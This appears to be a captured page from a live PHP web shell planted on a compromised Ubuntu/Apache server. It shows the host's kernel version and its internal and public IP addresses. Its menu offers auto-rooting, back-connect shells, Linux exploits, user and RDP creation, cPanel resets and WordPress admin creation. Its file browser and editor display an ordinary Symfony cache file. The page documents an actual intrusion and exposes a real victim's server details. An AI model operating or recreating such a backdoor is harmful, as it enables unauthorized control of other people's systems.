Linux ip-172-31-33-47 5.4.0-1045-aws #47~18.04.1-Ubuntu SMP Tue Apr 13 15:58:14 UTC 2021 x86_64
Apache/2.4.29 (Ubuntu)
: 172.31.33.47 | : 13.58.242.216
Cant Read [ /etc/named.conf ]
7.4.20
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
boaz2 /
vendor /
symfony /
cache /
Traits /
[ HOME SHELL ]
Name
Size
Permission
Action
AbstractAdapterTrait.php
11.5
KB
-rw-rw-r--
ContractsTrait.php
3.41
KB
-rw-rw-r--
FilesystemCommonTrait.php
5.3
KB
-rw-rw-r--
FilesystemTrait.php
2.93
KB
-rw-rw-r--
MemcachedTrait.php
12.7
KB
-rw-rw-r--
ProxyTrait.php
817
B
-rw-rw-r--
RedisClusterProxy.php
1.67
KB
-rw-rw-r--
RedisProxy.php
1.78
KB
-rw-rw-r--
RedisTrait.php
20.58
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : FilesystemTrait.php
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Cache\Traits; use Symfony\Component\Cache\Exception\CacheException; /** * @author Nicolas Grekas <p@tchwork.com> * @author Rob Frawley 2nd <rmf@src.run> * * @internal */ trait FilesystemTrait { use FilesystemCommonTrait; private $marshaller; /** * @return bool */ public function prune() { $time = time(); $pruned = true; foreach ($this->scanHashDir($this->directory) as $file) { if (!$h = @fopen($file, 'r')) { continue; } if (($expiresAt = (int) fgets($h)) && $time >= $expiresAt) { fclose($h); $pruned = @unlink($file) && !file_exists($file) && $pruned; } else { fclose($h); } } return $pruned; } /** * {@inheritdoc} */ protected function doFetch(array $ids) { $values = []; $now = time(); foreach ($ids as $id) { $file = $this->getFile($id); if (!is_file($file) || !$h = @fopen($file, 'r')) { continue; } if (($expiresAt = (int) fgets($h)) && $now >= $expiresAt) { fclose($h); @unlink($file); } else { $i = rawurldecode(rtrim(fgets($h))); $value = stream_get_contents($h); fclose($h); if ($i === $id) { $values[$id] = $this->marshaller->unmarshall($value); } } } return $values; } /** * {@inheritdoc} */ protected function doHave(string $id) { $file = $this->getFile($id); return is_file($file) && (@filemtime($file) > time() || $this->doFetch([$id])); } /** * {@inheritdoc} */ protected function doSave(array $values, int $lifetime) { $expiresAt = $lifetime ? (time() + $lifetime) : 0; $values = $this->marshaller->marshall($values, $failed); foreach ($values as $id => $value) { if (!$this->write($this->getFile($id, true), $expiresAt."\n".rawurlencode($id)."\n".$value, $expiresAt)) { $failed[] = $id; } } if ($failed && !is_writable($this->directory)) { throw new CacheException(sprintf('Cache directory is not writable (%s).', $this->directory)); } return $failed; } private function getFileKey(string $file): string { if (!$h = @fopen($file, 'r')) { return ''; } fgets($h); // expiry $encodedKey = fgets($h); fclose($h); return rawurldecode(rtrim($encodedKey)); } }
Close